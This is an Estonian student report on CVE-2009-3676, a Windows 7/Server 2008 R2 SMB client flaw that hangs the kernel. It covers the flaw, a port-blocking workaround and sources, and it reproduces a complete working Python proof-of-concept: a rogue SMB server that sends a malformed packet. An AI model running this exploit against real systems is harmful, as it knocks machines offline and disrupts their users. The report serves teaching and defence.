

Tartu Ülikool
Matemaatika-informaatikateaduskond
Arvutiteaduse Instituut

Turvaauk CVE-2009-3676

Referaat aines Andmeturve

Autor: Signe Väikene

Juhendaja: Meelis Roos

Sisukord

Sissejuhatus	3
Turvaaugu kirjeldus	3
Turvaaugu parandus.....	5
Kasutatud kirjandus.....	6

Sissejuhatus

Käesoleva töö eesmärgiks on anda ülevaade CVE-2009-3676 kohta ning ka pakkuda mõningaid vastumeetmed. CVE-2009-3676 on Windows 7/2008 R2 esinev turvaauk, mis võimaldab teenusetõkestuse rünnakuid.

Turvaaugu kirjeldus

Turvaauk avastati 11. novembril 2009 Laurent Gaffié poolt. Turvaaugu tõsiduseks on erinevates allikates mainitud madalast kuni kõrge riski tasemeni.

Microsoft Windowsi haavatavus CVE-2009-3676 teeb võimalikuks kaugründajatele tekitada teenuse tõkestus.

Teenusetõkestuse (*Denial Of Service*) rünnaku eesmärk on muuta mingi arvutiressurss kättesaamatuks sihtkasutajatele.[6]

Seda võimaldab lõpmatu tsükli tekkimine SMB (*Server Message Block*) kliendis kui töödeldakse SMBv1 või SMBv2 vastusepakette, mis sisaldavad NetBIOS päist, millel on ebakorrekne suuruse väärtus. Windows 7 SMB kliendile saadetakse pakett, mille päises on vale paketi suuruse kirje, 4 *byte*'i väiksem või suurem kui tegelik pakett, see tekitab SMB kliendis lõpmatu tsükli ja süsteem hangub.[1][3]

Vigaseid andmepakette saab saata kui kasutaja ühendab pahatahtliku SMB võrguressursiga LAN'is või siis Internet Explorer'i kaudu. Piisab kui lihtsalt üritada SMB ühendust *hostiga*, kus jookseb alljärgnev Python'i kood, mis kuulab porti 445.

Näiteks: `dir \\ip-address\share` (võrguressurss ei pea selleks olemas olema).

Järgneval koodinäidisel on päises paketi suuruseks määratud 9a mitte 9e (4 *byte*'i väiksem). Sama tulemuse annab ka päis, kus paketi suurus on määratud 4 *byte*'i suuremaks.

```

#win7-crash.py:
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused
by an #infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent Gaffié
#

import SocketServer

packet = ("\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a")

class SMB2(SocketServer.BaseRequestHandler):

    def handle(self):

        print "Who:", self.client_address
        print "THANKS SDL"
        input = self.request.recv(1024)
        self.request.send(packet)
        self.request.close()

launch = SocketServer.TCPServer(('', 445), SMB2) # listen all interfaces port 445
launch.serve_forever()

```

Haavatavus tekitab operatsioonisüsteemi tuuma (*kernel*) kokkujooksmise. Süsteem hangub täielikult ning vajab restarti. Selle haavatavuse kaudu pole võimalik arvuti üle kontrolli saavutada ega ka andmeid kuidagi kahjustada. Tavakasutajale ei ole selline rünnak muud kui lihtsalt tüütu, kuid näiteks ettevõttele, mis kasutab järelvalveta MS Server 2008 serverit tellimuste töötlemiseks , teeks selline rünnak rohkem kahju.

Haavatavus esineb MS Windows 7 (32-bit/64-bit) ja Server 2008 R2 (x64/Itanium) operatsiooni-süsteemidel. [3]

Turvaaugu parandus

Microsoft ei ole praeguse seisuga sellele haavatavusele parandust teinud.

Välja on pakutud *workaround* (seadete muutmine, mis ei paranda antud viga, kuid välistab võimaliku ohu).

Blokeerida TCP pordid 139 ja 445 tulemüüri. Neid porte kasutatakse ühenduse loomiseks haavatavust tekitavate komponentidega. Nende portide blokeerimine aitab kaitsta süsteemi võimalike rünnakute vastu, mis seda haavatavust ära kasutada püüavad. Microsoft soovib blokeerida kõik väljuvad ja sisenevad SMB kommunikatsioonid, et vältida rünnakuid. [4]

Paljud Windows'i teenused kasutavad aga neid porte ning nende portide blokeerimine võib põhjustada mitmete rakenduste ja teenuste ebakorrekse töötamise. [4]

Mõned teenused ja rakendused, millele portide blokeerimine mõjub:

- Rakendused, mis kasutavad SMB'd (CIFS'i)
- Server (Faili ja printeri jagamine)
- *Net Logon*
- *Distributed File System* (DFS)
- *Indexing Service*
- jne.

Siiski on üpris vähe tõenäoline, et ükski süsteem oleks seadistatud nii et ta oleks selle haavatavuse suhtes ohus välisvõrgust, kuna Windowsi tulemüüri vaikeseaded keelavad juuredpääsu neile portidele välisvõrgust. [7]

Kasutatud kirjandus

1. **Microsoft Windows SMB_PACKET Remote Kernel Denial-of-Service Vulnerability**(12.01.2010)
http://vil.nai.com/vil/content/v_vul48743.htm
2. **Windows 7 / Server 2008R2 Remote Kernel Crash**(12.01.2010)
<http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html>
3. **Microsoft Windows SMB Client Remote Denial of Service Vulnerability**(11.01.2010)
<http://www.vupen.com/english/advisories/2009/3216>
4. **Microsoft Security Advisory (977544)** (12.01.2010)
<http://www.microsoft.com/technet/security/advisory/977544.mspx>
5. **National Vulnerability Database (CVE-2009-3676)** (10.01.2010)
<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3676>
6. **Denial-of-service attack** (12.01.2010)
http://en.wikipedia.org/wiki/Denial-of-service_attack
7. **Windows 7 SMB exploit confirmed**(12.01.2010)
<http://www.expertreviews.co.uk/general/272542/windows-7-smb-exploit-confirmed>